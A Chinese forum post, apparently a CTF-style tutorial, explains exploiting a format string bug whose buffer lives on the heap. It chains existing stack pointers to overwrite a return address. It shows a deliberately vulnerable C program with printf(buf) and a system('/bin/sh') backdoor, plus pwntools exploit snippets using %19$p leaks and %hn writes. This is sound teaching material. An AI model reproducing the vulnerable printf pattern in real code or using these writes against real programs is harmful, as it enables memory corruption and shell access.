首页
社区
课程
招聘
[原创]非栈上格式化字符串利用Part1
发表于: 2025-5-24 18:14 2597

[原创]非栈上格式化字符串利用Part1

2025-5-24 18:14
2597

非栈上格式化字符串漏洞特指在printf(char *fmt, ...)函数调用中,格式字符串参数fmt的存储位置不在当前函数栈帧中的情况。其常见表现形式主要包括以下两种类型:

非栈上格式化字符串和栈上格式化字符串漏洞利用最大的区别就是非栈上格式化字符串漏洞无法通过操控或者布局栈上的变量来实现任意地址写等操作
对于Part1,我们先来介绍一个比较简单的例子:

编译后checksec
upload successful
除了PIE,其余保护全开
如果这题是在栈上的话,那思路很明确:泄露栈地址->将$bp+8填到栈上->修改返回地址为backdoor即可。
但是对于本题就不一样了,我们所输入的内容都被放到了堆中,无法控制栈布局来任意修改地址。这时候就要引入ex师傅所提出的printf 成链攻击,成链攻击主要是利用栈上的数据链来进行攻击。

我们接下来要利用的链形如下图
upload successful
众所周知,对于格式化字符串,如果我们修改某个地址上的值,所使用的占位符为%n,而%n所修改的参数为一个地址,这也就是为什么需要一条二级以上的数据链进行攻击的原因了。
对于非栈上格式化字符串,我们既然无法控制栈布局,为何不尝试下直接控制栈上已有变量,将栈变成我们想要的样子呢?
对于此,我们可以先将三级链的第二级栈地址和当前函数调用栈的返回地址给泄露出来
upload successful
观察发现,三级链的最后一级的地址和$bp+8仅有低三位不同,因此我们可以把
0x7fff1a1487a8 —▸ 0x7fff1a148898 —▸ 0x7fff1a148bc2 ◂— 0x53006e69616d2f2e /* './main' */
修改为
0x7fff1a1487a8 —▸ 0x7fff1a148898 —▸ 0x7fff1a148768 —▸ 0x4013e2 (main+47) ◂— mov eax, 0
upload successful
这样其实就间接实现了上面所述的将$bp+8填到栈上这一步骤
到这里的exp为

接下来其实就简单了,既然栈上已经有一条二级链指向返回地址,我们只需要再用一次%n修改返回地址为backdoor就行了
图片描述
到这里的exp为

最后输入quit即可getshell
图片描述

Ex师傅的printf 成链攻击: 76aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2k6h3!0F1k6i4N6Q4x3X3g2U0L8W2)9J5c8U0t1H3x3e0W2Q4x3V1j5H3z5q4)9J5c8U0t1%4i4K6u0r3M7s2u0A6L8Y4c8X3i4K6u0V1i4K6t1#2c8e0k6Q4x3U0f1^5z5q4)9J5y4e0V1H3i4K6t1#2c8e0W2Q4x3U0f1&6x3#2)9J5y4f1u0q4i4K6t1#2c8e0k6Q4x3U0f1&6y4q4)9J5y4f1u0n7i4K6t1#2c8e0g2Q4x3U0f1^5y4#2)9J5y4f1u0n7i4K6u0r3

// main.c
// gcc -fstack-protector-all -no-pie -z now -o main main.c
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
void inits(){
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    puts("Enter \"quit\" to stop program!");
}
 
void backdoor(){
    puts("Congratulations! backdoor found!");
    system("/bin/sh");
}
 
int vuln(){
    char *buf = (char *)malloc(0x50);
    while(1){
        memset(buf, 0, sizeof(buf));
        read(0, buf, 0x50);
        if(!strncmp(buf,"quit", 4)){
            return 0;
        }else{
            printf(buf);
        }
    }
}
 
int main(){
    inits();
    vuln();
    return 0;
}
// main.c
// gcc -fstack-protector-all -no-pie -z now -o main main.c
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
void inits(){
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    puts("Enter \"quit\" to stop program!");
}
 
void backdoor(){
    puts("Congratulations! backdoor found!");
    system("/bin/sh");
}
 
int vuln(){
    char *buf = (char *)malloc(0x50);
    while(1){
        memset(buf, 0, sizeof(buf));
        read(0, buf, 0x50);
        if(!strncmp(buf,"quit", 4)){
            return 0;
        }else{
            printf(buf);
        }
    }
}
 
int main(){
    inits();
    vuln();
    return 0;
}
p.send('%19$p')
 
chain_addr = int(p.recv(14),16)
ret_addr = chain_addr - 0x130
log.success(f"chain address: {hex(chain_addr)}, ret address: {hex(ret_addr)}")
 
payload = '%{}c'.format(ret_addr & 0xffff).encode() + b"%19$hn"
p.send(payload)

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回